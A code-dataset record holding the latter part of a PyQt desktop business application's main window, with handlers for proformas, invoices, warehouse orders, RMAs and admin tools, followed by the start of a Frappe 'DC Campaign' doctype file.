model = self.proformas_purchases_model\n        if any(model[row].cancelled for row in rows):\n            QMessageBox.critical(self, 'Error', 'Cancelled proforma/s')\n            return\n\n        if any(model[row].invoice is not None for row in rows):\n            QMessageBox.critical(self, 'Error', 'Invoice already associated')\n            return\n\n        try:\n            invoice = model.associateInvoice(rows)\n        except ValueError as ex:\n            QMessageBox.critical(self, 'Error', str(ex))\n        else:\n            QMessageBox.information(self, 'Success', f'{invoice.doc_repr} created.')\n\n    def proformas_purchases_towh_handler(self, invoice=None):\n        if invoice:\n            proforma = invoice\n        else:\n            proforma = self.get_proforma_purchase()\n\n        if proforma:\n            try:\n                ok, note = getNote(self, proforma)\n                if ok:\n                    self.proformas_purchases_model.toWarehouse(proforma, note)\n                    QMessageBox.information(self, 'Information', 'Successfully created warehouse reception')\n            except IntegrityError as ex:\n                if ex.orig.args[0] == 1048:\n                    d = 'Invoice' if invoice else 'Proforma'\n                    QMessageBox.critical(self, 'Update - Error', f'Warehouse reception for this {d} already exists')\n\n    def proformas_purchases_ship_handler(self):\n        proforma = self.get_proforma_purchase()\n        if proforma:\n            tracking, ok = getTracking(self, proforma)\n            if ok:\n                self.proformas_purchases_model.ship(proforma, tracking)\n                QMessageBox.information(self, 'Information', 'Proforma updated')\n\n    def get_proforma_purchase(self):\n        rows = {index.row() for index in \\\n                self.proformas_purchases_view.selectedIndexes()}\n        if len(rows) == 1:\n            return self.proformas_purchases_model.proformas[rows.pop()]\n\n    # PROFORMAS SALES HANDLERS\n    def proformas_sales_newadv_handler(self):\n        self.asp = advanced_sale_proforma_form.get_form(\n            self,\n            self.proformas_sales_view\n        )\n        self.asp.show()\n\n    def proformas_sales_view_pdf_handler(self):\n        view_document(self.proformas_sales_view,self.proformas_sales_model)\n\n    def proformas_sales_export_excel_handler(self):\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n\n        from models import export_proformas_sales_excel\n        from utils import get_file_path\n        save_file_path = get_file_path(self)\n\n        if not save_file_path:\n            return\n\n        try:\n            export_proformas_sales_excel(proforma, save_file_path)\n        except:\n            QMessageBox.critical(self, 'Error', 'Error exporting data')\n            raise\n        else:\n            QMessageBox.information(self, 'Success', 'Data exported successfully')\n\n    def proformas_sales_ready_handler(self):\n        indexes = self.proformas_sales_view.selectedIndexes()\n        if not indexes:\n            return\n        self.proformas_sales_model.ready(indexes)\n\n    def proformas_sales_advnorm_handler(self):\n        indexes = self.proformas_sales_view.selectedIndexes()\n        rows = {i.row() for i in indexes}\n        if len(rows) != 1:\n            return\n        row = rows.pop()\n        try:\n            proforma = self.proformas_sales_model[row]\n        except IndexError:\n            return\n\n        if not proforma.advanced_lines:\n            return\n\n        self.advnorm_form = advanced_definition_form.get_form(\n            self,\n            self.proformas_sales_view,\n            proforma\n        )\n\n        self.advnorm_form.show()\n\n    def proformas_sales_selection_changed(self):\n        self.selection_changed_generic(self.proformas_sales_view)\n\n    def proformas_sales_new_handler(self):\n\n        self.sp = sale_proforma_form.get_form(\n            self,\n            self.proformas_sales_view\n        )\n        self.sp.show()\n\n    def proformas_sales_edit_handler(self):\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n        if proforma.advanced_lines:\n            self.sp = advanced_sale_proforma_form.get_form(\n                self,\n                self.proformas_sales_view,\n                proforma\n            )\n\n        elif proforma.credit_note_lines:\n            from credit_note_form import Form\n            self.sp = Form(self, proforma)\n\n        else:\n            self.sp = sale_proforma_form.get_form(\n                self,\n                self.proformas_sales_view,\n                proforma\n            )\n\n\n        self.sp.show()\n\n    def proformas_sales_cancel_handler(self):\n        indexes = self.proformas_sales_view.selectedIndexes()\n        if not indexes:\n            return\n        try:\n            if QMessageBox.question(\n                    self,\n                    'Proformas - Cancel',\n                    'Cancel proforma/s ?',\n                    QMessageBox.Yes | QMessageBox.No) == QMessageBox.No:\n                return\n\n            self.proformas_sales_model.cancel(indexes)\n        except Exception:\n            QMessageBox.critical(self, 'Update Error', 'Error updating proformas')\n            raise\n\n    def proformas_sales_whatsapp_handler(self):\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n        from partner_or_agent_form import Dialog\n        Dialog(self, proforma).exec_()\n\n\n    def proformas_sales_export_handler(self):\n        # Don't need the object, but signals if one is   selected\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n\n        exported_path = self.export_documents(\n            self.proformas_sales_view,\n            self.proformas_sales_model\n        )\n        if exported_path:\n            QMessageBox.information(self, 'Success', 'Document Exported successfully')\n\n    def proformas_sales_mail_handler(self):\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n        from utils import get_email_recipients\n        recipients = get_email_recipients(proforma)\n        if not recipients:\n            return\n\n        from pdfbuilder import build_document\n        temp_directory = os.path.abspath(os.path.join(os.curdir, 'temp'))\n\n        pdf_document = build_document(proforma)\n        abs_path = os.path.join(temp_directory, proforma.doc_repr + '.pdf')\n\n        pdf_document.output(abs_path)\n\n        import subprocess\n\n        subprocess.run(['mailunch.exe', 'A', *recipients, abs_path])\n\n    def proformas_sales_payments_handler(self):\n        proforma = self.get_sale_proforma()\n        if proforma:\n            payments_form.PaymentForm(self, proforma, sale=True).exec_()\n\n    def proformas_sales_expenses_handler(self, invoice=None):\n        proforma = self.get_sale_proforma()\n        if proforma:\n            expenses_form.ExpenseForm(self, proforma, sale=True).exec_()\n\n    def proformas_sales_docs_handler(self, invoice=None):\n        # documents_form.Form(self, self.get_sale_proforma()).exec_()\n        raise ValueError('Not implemented')\n\n\n    def proformas_sales_toinv_handler(self):\n        rows = {index.row() for index in self.proformas_sales_view.selectedIndexes()}\n        if not rows:\n            return\n        model = self.proformas_sales_model\n\n        for row in rows:\n            proforma = model[row]\n            if proforma.type == 2 and not has_certificate(proforma.partner_id):\n                QMessageBox.critical(self, 'Error', 'Partner has no certificate')\n                return\n\n        if any(model[row].cancelled for row in rows):\n            QMessageBox.critical(self, 'Error', 'Cancelled proforma/s')\n            return\n\n        if any(model[row].invoice is not None for row in rows):\n            QMessageBox.critical(self, 'Error', 'Invoice already associated')\n            return\n\n        try:\n\n            invoice = model.associateInvoice(rows)\n\n        except ValueError as ex:\n            QMessageBox.critical(self, 'Error', str(ex))\n        except (api.ViesValidationError, api.ViesError, api.ViesHTTPError) as ex:\n            if QMessageBox.question(self, 'Error validating IVA.',\n                                    'I could not validate IVA number. Build invoice '\n                                   'anyway?', QMessageBox.Yes | QMessageBox.No) == QMessageBox.Yes:\n                model.associateInvoice(rows, bypass_vies=True)\n\n        else:\n            QMessageBox.information(self, 'Success', f'{invoice.doc_repr} created')\n\n    def proformas_sales_towh_handler(self, invoice=None):\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n        try:\n            ok, note = getNote(self, proforma)\n            if not ok:\n                return\n            self.proformas_sales_model.toWarehouse(proforma, note)\n            QMessageBox.information(self, 'Information', 'Successfully created warehouse expedition')\n            self.proformas_purchases_view.clearSelection()\n\n        except IntegrityError as ex:\n\n            if ex.orig.args[0] == 1048:\n                d = 'Invoice' if invoice else 'Proforma'\n                QMessageBox.critical(\n                    self, 'Update - Error',\n                    f'Warehouse expedition for this {d} already exists'\n                )\n\n        except ValueError as ex:\n            QMessageBox.critical(self, 'Error', str(ex))\n\n    def proformas_sales_ship_handler(self):\n        proforma = self.get_sale_proforma()\n        if not proforma:\n            return\n        tracking, ok = getTracking(self, proforma)\n        if ok:\n            self.proformas_sales_model.ship(proforma, tracking)\n            QMessageBox.information(self, 'Information', 'Proforma Updated')\n\n    def get_sale_proforma(self,):\n        rows = {index.row() for index in self.proformas_sales_view.selectedIndexes()}\n        if len(rows) == 1:\n            return self.proformas_sales_model.proformas[rows.pop()]\n\n    def launch_adv_sale_proforma_form(self, index=None):\n        from contextlib import suppress\n        proforma = None\n        with suppress(AttributeError):\n            proforma = self.proformas_sales_model.proformas[index.row()]\n\n        self.advsp = advanced_sale_proforma_form.get_form(\n            self,\n            self.proformas_sales_view,\n            proforma\n        )\n\n        self.advsp.show()\n\n    def invoices_purchases_view_pdf_handler(self):\n        try:\n            view_document(\n                self.invoices_purchases_view,\n                self.invoices_purchases_model\n            )\n        except Exception:\n            QMessageBox.critical(self, 'Error', 'Error viewing the file')\n            raise\n\n\n    def invoices_purchases_selection_changed(self):\n        self.selection_changed_generic(self.invoices_purchases_view)\n\n    def invoices_purchases_payments_handler(self):\n        rows = {i.row() for i in self.invoices_purchases_view.selectedIndexes()}\n        if len(rows) != 1:\n            return\n        row = rows.pop()\n        invoice = self.invoices_purchases_model[row]\n        from invoice_payment_form import Form\n\n        Form(self, invoice).exec_()\n\n    def invoices_purchases_ship_handler(self):\n        invoice = self.get_purchases_invoice()\n        tracking, ok = getTracking(self, invoice)\n        if ok:\n            self.proformas_purchases_model.ship_several(invoice.proformas, tracking)\n            QMessageBox.information(self, 'Success', 'Dependant proformas updated')\n\n\n    def invoices_purchases_towh_handler(self):\n        invoice = self.get_purchases_invoice()\n        self.proformas_purchases_towh_handler(invoice.proforma)\n\n    def invoices_purchases_docs_handler(self):\n        pass\n\n    def invoices_purchases_expenses_handler(self):\n        rows = {i.row() for i in self.invoices_purchases_view.selectedIndexes()}\n        if len(rows) != 1:\n            return\n        row = rows.pop()\n        invoice = self.invoices_purchases_model[row]\n        from invoices_expenses_form import Form\n        Form(self, invoice).exec_()\n\n    def invoices_purchases_double_click_handler(self, index):\n        invoice = self.invoices_purchases_model[index.row()]\n        from invoice_form import Form\n        self.f = Form(invoice)\n        self.f.show()\n\n    def invoices_purchases_export_handler(self):\n        exported_path = self.export_documents(\n            self.invoices_purchases_view,\n            self.invoices_purchases_model,\n        )\n        if exported_path:\n            QMessageBox.information(self, 'Success', 'Document Exported successfully')\n\n\n    def invoices_purchases_print_handler(self):\n        print('print ')\n\n    def get_purchases_invoice(self):\n        return self.get_invoice(\n            self.invoices_purchases_model,\n            self.invoices_purchases_view\n        )\n\n    # SALES INVOICE HANDLER:\n    def invoices_sales_view_pdf_handler(self):\n        view_document(self.invoices_sales_view, self.invoices_sales_model)\n\n    def invoices_sales_selection_changed(self):\n        self.selection_changed_generic(self.invoices_sales_view)\n\n    def invoices_sales_payments_handler(self):\n        invoice = self.get_sales_invoice()\n        from invoice_payment_form import Form\n        Form(self, invoice).exec_()\n\n    def invoices_sales_ship_handler(self):\n        invoice = self.get_sales_invoice()\n        if not invoice:\n            return\n        tracking, ok = getTracking(self, invoice)\n        if ok:\n            self.proformas_sales_model.ship_several(invoice.proformas, tracking)\n            QMessageBox.information(self, 'Error', 'Invoice updated')\n\n    def invoices_sales_docs_handler(self):\n        # invoice = self.get_sales_invoice()\n        # documents_form.Form(self, invoice, is_invoice=True).exec_()\n        pass\n\n    def invoices_sales_expenses_handler(self):\n        invoice = self.get_sales_invoice()\n        if invoice:\n            from invoices_expenses_form import Form\n            Form(self, invoice).exec_()\n\n\n    def invoices_sales_edit_handler(self):\n        # TODO CREDIT NOTE LOGIC\n        invoice = self.get_sales_invoice()\n\n        if invoice:\n\n            # Credit note logic\n            if len(invoice.proformas) == 1 and invoice.proformas[0].credit_note_lines:\n                from credit_note_form import Form\n                proforma = invoice.proformas[0]\n                self.sip = Form(self, proforma, is_invoice=True)\n\n            # Everything else\n            else:\n                from invoice_form import Form\n                self.sip = Form(invoice)\n\n            self.sip.show()\n\n    def invoices_sales_whatsapp_handler(self):\n        invoice = self.get_sales_invoice()\n        if not invoice:\n            return\n        from partner_or_agent_form import Dialog\n        Dialog(self, invoice).exec_()\n\n    def invoices_sales_ready_handler(self):\n        invoice = self.get_sales_invoice()\n        if invoice:\n            self.proformas_sales_model.ready_several(invoice.proformas)\n\n    def invoices_sales_export_handler(self):\n        exported_path = self.export_documents(\n            self.invoices_sales_view,\n            self.invoices_sales_model,\n        )\n        if exported_path:\n\n            QMessageBox.information(self, 'Success', 'Document Exported successfully')\n\n    def invoices_sales_export_excel_handler(self):\n        invoice = self.get_sales_invoice()\n        from models import export_invoices_sales_excel\n        from utils import get_file_path\n        save_file_path = get_file_path(self)\n        if not save_file_path:\n            return\n\n        # Code like this allows for future modification\n        # The current flow is to raise the exception\n        # and inspect what caused it on the users\n        # powershell. If this were commercial ,\n        # exception handling would dump to a logging file\n        # Then you would inspect that file\n        # in order to control this exceptional situation and\n        # improve the application.\n        try:\n            export_invoices_sales_excel(invoice, save_file_path)\n        except:\n            QMessageBox.critical(self, 'Error', 'Error exporting data')\n            raise\n        else:\n            QMessageBox.information(self, 'Success', 'Data exported successfully')\n\n    def invoices_sales_import_handler(self):\n        from utils import get_open_file_path\n        file_path = get_open_file_path(self, csv_filter=True)\n        if not file_path:\n            return\n        else:\n            try:\n                resolved, unresolved = models.resolve_dhl_expenses(file_path)\n            except ValueError as ex:\n                QMessageBox.critical(self, 'Error', str(ex))\n            else:\n                from dhl_form import Form\n                Form(self, resolved, unresolved).exec_()\n\n\n\n    def invoices_sales_mail_handler(self):\n        invoice = self.get_sales_invoice()\n        if not invoice:\n            return\n        from utils import get_email_recipients\n        recipients = get_email_recipients(invoice)\n        if not recipients:\n            return\n\n        from models import export_invoices_sales_excel\n        from pdfbuilder import build_document\n        doc_repr = invoice.doc_repr\n\n        temp_dir = os.path.abspath(os.path.join(os.curdir, 'temp'))\n\n        path1 = os.path.join(temp_dir, doc_repr + '.pdf')\n        path2 = os.path.join(temp_dir, 'series' + doc_repr + '.xlsx')\n\n        document = build_document(invoice)\n        document.output(path1)\n\n        try:\n            export_invoices_sales_excel(invoice, path2)\n            generated = True\n\n        except AttributeError:\n            generated = False\n\n        import subprocess\n        args = ['mailunch.exe', *recipients, path1]\n\n        if generated:\n            args.append(path2)\n\n        if invoice.proformas[0].credit_note_lines:\n            args.insert(1, 'C')\n        else:\n            args.insert(1, 'B')\n\n        subprocess.run(args, shell=True)\n\n    def get_sales_invoice(self):\n        return self.get_invoice(\n            self.invoices_sales_model,\n            self.invoices_sales_view\n        )\n\n    def get_invoice(self, model, view):\n        rows = {index.row() for index in view.selectedIndexes()}\n        if len(rows) == 1:\n            return model[rows.pop()]\n\n    # WAREHOUSE RECEPTION HANDLERS:\n\n    def warehouse_receptions_process_handler(self):\n        reception = self.get_reception(\n            self.warehouse_receptions_view,\n            self.warehouse_receptions_model\n        )\n        if not reception:\n            return\n        else:\n            try:\n                reception_order.Form(self, reception).exec_()\n            except IndexError:\n                QMessageBox.information(\n                    self,\n                    'Information',\n                    'This reception order is empty. I can not open'\n                )\n\n    def warehouse_receptions_double_click_handler(self, index):\n        self.warehouse_receptions_process_handler()\n\n    def warehouse_receptions_import_handler(self):\n        from utils import get_open_file_path\n        row = self.get_reception_selected_row()\n        if row is None:\n            return\n        file_path = get_open_file_path(self)\n        if not file_path:\n            return\n        try:\n            self.warehouse_receptions_model.import_excel(file_path, row)\n        except ValueError as ex:\n            QMessageBox.information(self, 'Error', str(ex))\n        else:\n            QMessageBox.information(self, 'Success', 'Data imported successfully')\n\n    def warehouse_receptions_template_handler(self):\n        from utils import get_file_path\n        row = self.get_reception_selected_row()\n        if row is None:\n            return\n\n        save_file_path = get_file_path(self)\n\n        if not save_file_path:\n            return\n        try:\n            self.warehouse_receptions_model.generate_template(save_file_path, row)\n        except ValueError as ex:\n            QMessageBox.information(self, 'Error', str(ex))\n        else:\n            QMessageBox.information(self, 'Success', 'Template built successfully')\n\n    def warehouse_receptions_export_handler(self):\n        from utils import get_file_path\n        row = self.get_reception_selected_row()\n        if row is None:\n            return\n\n        save_file_path = get_file_path(self)\n        if not save_file_path:\n            return\n\n        try:\n            self.warehouse_receptions_model.export(save_file_path, row)\n        except ValueError as ex:\n            QMessageBox.information(self, 'Error', str(ex))\n        else:\n            QMessageBox.information(self, 'Success', 'Data exported successfully')\n\n    def get_reception_selected_row(self):\n        rows = {index.row() for index in self.warehouse_receptions_view.selectedIndexes()}\n        if len(rows) == 1:\n            return rows.pop()\n\n    def get_reception(self, view, model):\n        rows = {index.row() for index in view.selectedIndexes()}\n        if len(rows) == 1:\n            return model.receptions[rows.pop()]\n\n    # WAREHOUSE EXPEDITION:\n\n    def warehouse_expeditions_export_handler(self):\n        expedition = self.get_expedition(\n            self.warehouse_expeditions_view,\n            self.warehouse_expeditions_model\n        )\n        from models import export_proformas_sales_excel\n        from utils import get_file_path\n\n        save_file_path = get_file_path(self)\n\n        if not save_file_path:\n            return\n\n        try:\n            export_proformas_sales_excel(expedition.proforma, save_file_path)\n        except:\n            QMessageBox.critical(self, 'Error', 'Error exporting data')\n            raise\n        else:\n            QMessageBox.information(self, 'Success', 'Data exported successfully')\n\n\n    def warehouse_expeditions_process_handler(self):\n        expedition = self.get_expedition(\n            self.warehouse_expeditions_view,\n            self.warehouse_expeditions_model\n        )\n        if not expedition: return\n\n        try:\n            expedition_form.Form(self, expedition).exec_()\n        except IndexError:\n            QMessageBox.information(\n                self,\n                'Information',\n                'This expedition order is empty. I can not open'\n            )\n\n    def warehouse_expeditions_double_click_handler(self, index):\n        expedition = self.warehouse_expeditions_model.expeditions[index.row()]\n        try:\n            expedition_form.Form(self, expedition).exec_()\n        except IndexError:\n            QMessageBox.information(\n                self,\n                'Information',\n                'This expedition order is empty. I can not open'\n            )\n\n    def warehouse_expeditions_dhl_handler(self):\n        # from dhl import Form\n        # expedition = self.get_expedition(self.warehouse_expeditions_view, self.warehouse_expeditions_model)\n        # if expedition is None:\n        #     return\n        # Form(self, expedition).exec_()\n        pass\n\n\n    def warehouse_expeditions_delete_handler(self):\n        expedition = self.get_expedition(\n            self.warehouse_expeditions_view,\n            self.warehouse_expeditions_model\n        )\n        if not expedition:\n            return\n\n    def get_expedition(self, view, model):\n        rows = {index.row() for index in view.selectedIndexes()}\n        if len(rows) == 1:\n            return model.expeditions[rows.pop()]\n\n    # RMAS HANDLERS:\n    def rmas_incoming_new_handler(self):\n        from rmas_incoming_form import Form\n        self.f = Form(self)\n        self.f.show()\n\n    def rmas_incoming_towh_handler(self):\n        rows = {i.row() for i in self.rmas_incoming_view.selectedIndexes()}\n        if len(rows) != 1:\n            return\n        row = rows.pop()\n        try:\n            self.rmas_incoming_model.to_warehouse(row)\n        except ValueError as ex:\n            print('catched value error')\n            print(str(ex))\n            QMessageBox.critical(self, 'Error', str(ex))\n        else:\n            QMessageBox.information(self, 'Error', 'RMA WH order created')\n\n\n    def warehouse_incoming_rmas_double_click_handler(self):\n        from warehouse_rma_incoming_form import Form\n        order = self.get_wh_incoming_rma_order()\n        self.whirma = Form(self, order)\n        self.whirma.show()\n\n    def get_wh_incoming_rma_order(self):\n        rows = {i.row() for i in self.warehouse_incoming_rmas_view.selectedIndexes()}\n        if len(rows) != 1:\n            return\n        row = rows.pop()\n        return self.warehouse_rma_incoming_model.orders[row]\n\n    def warehouse_incoming_rmas_process_handler(self):\n        from warehouse_rma_incoming_form import Form\n        order = self.get_wh_incoming_rma_order()\n        if not order:\n            return\n        self.whirma = Form(self, order)\n        self.whirma.show()\n\n    def warehouse_incoming_rmas_tocn_handler(self):\n        wh_rma_order = self.get_wh_incoming_rma_order()\n        if not wh_rma_order:\n            return\n\n        candidates = [\n            line\n            for line in wh_rma_order.lines\n            if line.accepted == 'y' and models.rma_credit_difference(line.sn)\n        ]\n\n        if not candidates:\n            QMessageBox.critical(self, 'Error', \"I did not found candidates for a new Credit Note\")\n            return\n\n        partner_id = wh_rma_order.incoming_rma.lines[0].cust_id\n\n        agent_id = wh_rma_order.incoming_rma.lines[0].agent_id\n\n        from models import build_credit_note_and_commit\n\n        proforma = build_credit_note_and_commit(partner_id, agent_id, wh_rma_order, candidates)\n\n        if not proforma:\n            return\n\n        invoice = self.proformas_sales_model.build_invoice_from_proforma(proforma, wh_rma_order)\n\n        for line in proforma.credit_note_lines:\n            line.invoice_id = invoice.id\n\n        for line in candidates:\n            imei = db.Imei()\n            imei.imei = line.sn\n            imei.item_id = line.item_id\n            imei.spec = line.spec\n            imei.warehouse_id = line.warehouse_id\n            imei.condition = line.target_condition\n\n            db.session.add(imei)\n\n        try:\n            db.session.commit()\n        except IntegrityError:\n            QMessageBox.critical(self, 'Error', 'Some imeis are already in Inventory')\n            db.session.rollback()\n        else:\n            QMessageBox.information(\n                self,\n                'Success',\n                f'Credit Note:{invoice.doc_repr} built successfully. Inventory Updated.'\n            )\n\n        # dump_rma(candidates, file_path)\n\n    def rmas_incoming_double_click_handler(self, index):\n        rma_order = self.rmas_incoming_model[index.row()]\n        self.f = rmas_incoming_form.Form(self, order=rma_order)\n        self.f.show()\n\n    # TOOLS HANDLERS:\n    def tools_trace_handler(self):\n\n        from trace_form import Form\n        f = Form(self)\n        f.exec_()\n\n    def tools_available_stock_handler(self):\n        import available_stock\n        self.f = available_stock.Form(self)\n        self.f.exec_()\n\n    def tools_create_courier_handler(self):\n        import courier\n        d = courier.CourierForm(self)\n        d.exec_()\n\n    def tools_create_product_handler(self):\n        d = product_form.ProductForm(self)\n        d.exec_()\n\n    def tools_check_inventory_handler(self):\n        d = inventory_form.InventoryForm(self)\n        d.exec_()\n\n    def tools_change_spec_handler(self):\n        from utils import getPassword\n        password = getPassword(self)\n        if password != PASSWORD:\n            return\n\n        from change_form import ChangeForm\n        d = ChangeForm(parent=self, hint='spec')\n        d.exec_()\n\n    def tools_change_condition_handler(self):\n        from utils import getPassword\n        password = getPassword(self)\n        if password != PASSWORD:\n            return\n\n\n        from change_form import ChangeForm\n        d = ChangeForm(parent=self, hint='condition')\n        d.exec_()\n\n    def tools_change_warehouse_handler(self):\n        from utils import getPassword\n        password = getPassword(self)\n        if password != PASSWORD:\n            return\n\n        from change_form import ChangeForm\n        d = ChangeForm(parent=self, hint='warehouse')\n        d.exec_()\n\n    def tools_change_description_handler(self):\n        from change_description_form import Form\n        Form(self).exec_()\n\n    def tools_harvest_handler(self):\n        from harvest import Form\n        Form(self).exec_()\n\n    def tools_create_warehouse_handler(self):\n        from warehouse import Form\n        Form(self).exec_()\n\n    def tools_create_condition_handler(self):\n        from condition import Form\n        Form(self).exec_()\n\n    def tools_create_spec_handler(self):\n        from spec import Form\n        Form(self).exec_()\n\n    def tools_sii_handler(self):\n        from pysii import Form\n        Form(self).exec_()\n\n    def tools_facks_handler(self):\n        from facks import Form\n        Form(self).exec_()\n\n    def tools_stock_valuation_handler(self):\n        from stock_valuation import Form\n        Form(self).exec_()\n\n    def tools_issued_invoices_handler(self):\n        from issued_invoices_form import Form\n        Form(self).exec_()\n\n    def tools_switch_handler(self):\n        from switch_form import Form\n        Form(self).exec_()\n\n\n    def tools_top_partners_handler(self):\n        from top_partners_form import Form\n        Form(self).exec_()\n\n    ''' Function skeleton that sends a mail message with a error.log file attached'''\n    def tools_mail_handler(self):\n        import smtplib\n        from email.message import EmailMessage\n\n        file_path = os.path.abspath(os.path.join('.\\last_error.log'))\n\n        msg = EmailMessage()\n\n        msg['Subject'] = 'Error log'\n        msg['From'] = 'andrei.officee@gmail.com'\n        msg['To'] = 'andrei.en@euromediagroup.es'\n\n        try:\n\n            with open(file_path, 'rb') as f:\n                file_data = f.read()\n                file_name = f.name\n\n            msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name)\n\n            with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n\n                smtp.login('andrei.officee@gmail.com', os.environ['APP_MAIL_PASSWORD'])\n                smtp.send_message(msg)\n\n        except smtplib.SMTPAuthenticationError:\n            QMessageBox.critical(self, 'Error', 'Authentication Error.')\n\n        except FileNotFoundError:\n            raise\n            QMessageBox.critical(self, 'Error', 'I could not find the error log.')\n\n        except smtplib.SMTPException:\n            QMessageBox.critical(self, 'Error', 'Error sending the error log.')\n        else:\n            QMessageBox.information(self, 'Success', 'Successfully sent last error log.')\n\n    def tools_repairs_handler(self):\n        from repairs_form import Form\n        Form(parent=self).exec_()\n\n    def tools_discounts_handler(self):\n        from discount_form import Form\n        Form(parent=self).exec_()\n\n    def tools_clean_database_handler(self):\n        from db import clean_database\n\n        if clean_database():\n            QMessageBox.information(self, 'Success', 'Database cleaned successfully.')\n        else:\n            QMessageBox.information(self, 'Information', 'Nothing to clean.')\n\n    def tools_agent_fees_handler(self):\n        from agent_fees import Form\n        Form(parent=self).exec_()\n\n    def tools_weights_handler(self):\n        import weight_period\n        weight_period.Form(parent=self).exec_()\n\n    def journal_entries_new_handler(self):\n\n        from journal_entry_form import Form\n        self.entry_form = Form(parent_form=self)\n        self.entry_form.show()\n\n    def journal_entries_delete_handler(self):\n        index = self.journal_entries_view.currentIndex()\n        if not index.isValid():\n            return\n        self.journal_entries_view.model().removeRow(index.row())\n\n    def journal_entries_double_click_handler(self, index):\n        from journal_entry_form import Form\n        self.entry_form = Form(\n            entry=self.journal_entries_view.model()[index.row()],\n            parent_form=self\n        )\n        self.entry_form.show()\n\n    def tab_changed(self, index):\n        db.session.commit()\n\n        if index == 1:\n            prefix = 'agents_'\n            self.set_mv(prefix, search_key=getattr(self, prefix + 'search').text())\n\n        elif index == 2:\n            prefix = 'partners_'\n            self.set_mv(prefix, search_key=getattr(self, prefix + 'search').text())\n        elif index == 3:\n            for prefix in ['proformas_purchases_', 'proformas_sales_']:\n                self.set_mv(prefix, search_key=getattr(self, prefix + 'search').text(),\n                            filters=self.get_filters(prefix=prefix))\n\n        elif index == 4:\n            for prefix in ['invoices_purchases_', 'invoices_sales_']:\n                self.set_mv(\n                    prefix, search_key=getattr(self, prefix + 'search').text(),\n                    filters=self.get_filters(prefix=prefix)\n                )\n\n        elif index == 5:\n\n            for prefix in ['warehouse_expeditions_', 'warehouse_receptions_',\n                           'warehouse_incoming_rmas_','warehouse_outgoing_rmas_']:\n                self.set_mv(prefix, search_key=getattr(self, prefix + 'search').text(),\n                            filters=self.get_filters(prefix=prefix))\n\n        elif index == 6:\n            prefix = 'rmas_incoming_'\n            self.set_mv(prefix, search_key=getattr(self, prefix + 'search').text(),\n                        filters=self.get_filters(prefix=prefix))\n\n    # This is a dummy test change\n\n    def closeEvent(self, event):\n        event.accept()\n        for w in self.opened_windows_instances:\n            w.close()\n        self.update_checker.terminate()\n        clean_up_directories()\n\n        self.close()\n\n\n","repo_name":"andrei219/euromedia","sub_path":"app/maingui.py","file_name":"maingui.py","file_ext":"py","file_size_in_byte":58277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14055555159","text":"import frappe\nfrom frappe.model.document import Document\nfrom frappe.utils import nowdate,get_link_to_form,get_datetime,getdate,get_time,today\nfrom frappe import _\nfrom frappe.contacts.doctype.address.address import get_address_display\n\nclass DCCampaign(Document):\n\t@frappe.whitelist()\n\tdef sync_dc_campaign_completion_form(self):\n\t\tself.validate_unqiue_serial_no_in_campaign()\n\t\tfor serial_detail in self.dc_campaign_serial_no:\n\t\t\t# dc_campaign_completion_form is already created\n\t\t\tif serial_detail.dc_campaign_completion_form:\n\t\t\t\tstatus=frappe.db.get_value('DC Campaign Completion Form', serial_detail.dc_campaign_completion_form, 'status')\n\t\t\t\tserial_detail.status=status\n\t\t\t\tpurchase_invoice=frappe.db.get_value('DC Campaign Completion Form', serial_detail.dc_campaign_completion_form, 'purchase_invoice')\n\t\t\t\tserial_detail.purchase_invoice=purchase_invoice\n\t\t\t\tcompletion_date_time=frappe.db.get_value('DC Campaign Completion Form', serial_detail.dc_campaign_completion_form, 'completion_date_time')\n\t\t\t\tserial_detail.completion_date=getdate(completion_date_time)\n\t\t\t\tmaterial_issue=frappe.db.get_value('DC Campaign Completion Form', serial_detail.dc_campaign_completion_form, 'material_issue')\n\t\t\t\tserial_detail.material_issue=material_issue\n\t\t\t\titem_code=frappe.db.get_value(\"Serial No\", serial_detail.serial_no, 'item_code')\n\t\t\t\tserial_detail.item_code=item_code\n\t\t\t\titem_name=frappe.db.get_value(\"Serial No\", serial_detail.serial_no, 'item_name')\n\t\t\t\tserial_detail.item_name=item_name\n\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"status\", status)\n\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"purchase_invoice\", purchase_invoice)\n\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"completion_date\", getdate(completion_date_time))\n\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"material_issue\", material_issue)\n\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"item_code\", item_code)\n\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"item_name\", item_name)\n\n\t\t\t# to created dc_campaign_completion_form \n\t\t\tif serial_detail.serial_no and not serial_detail.dc_campaign_completion_form:\n\t\t\t\tcompletion_form, status=self.create_dc_campaign_completion_form(serial_no=serial_detail.serial_no)\n\t\t\t\tif completion_form!=0:\n\t\t\t\t\tserial_detail.dc_campaign_completion_form=completion_form\t\n\t\t\t\t\tserial_detail.status=status\t\n\t\t\t\t\titem_code=frappe.db.get_value(\"Serial No\", serial_detail.serial_no, 'item_code')\n\t\t\t\t\tserial_detail.item_code=item_code\n\t\t\t\t\titem_name=frappe.db.get_value(\"Serial No\", serial_detail.serial_no, 'item_name')\n\t\t\t\t\tserial_detail.item_name=item_name\t\t\t\t\t\n\t\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"dc_campaign_completion_form\", completion_form)\n\t\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"status\", status)\n\t\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"item_code\", item_code)\n\t\t\t\t\tfrappe.db.set_value(\"DC Campaign Serial No\", serial_detail.name, \"item_name\", item_name)\t\t\t\t\t\n\n\tdef 